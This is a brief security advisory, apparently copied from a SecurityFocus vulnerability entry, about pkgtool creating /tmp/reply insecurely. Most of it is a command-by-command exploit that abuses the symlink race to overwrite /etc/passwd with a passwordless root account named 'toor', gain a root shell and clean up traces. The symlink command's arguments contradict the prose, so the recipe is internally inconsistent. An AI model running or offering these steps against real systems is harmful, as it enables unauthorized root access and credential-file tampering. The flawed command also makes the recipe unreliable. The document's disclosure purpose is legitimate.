source: https://www.securityfocus.com/bid/82/info pkgtool creates the file /tmp/reply insecurely and follows symbolic links. An attacker can create a symbolic link from /tmp/reply to any file and wait for root to run the program. This will clober the target file. The file created has permissions -rw-rw-rw-. $ cp /etc/passwd /tmp/passwd $ ln -s /tmp/reply /etc/passwd < wait for root to run pkgtool > $ echo toor::0:0::/:/bin/sh > /etc/passwd $ su - toor # cp /tmp/passwd /etc/passwd # rm /tmp/reply /tmp/passwd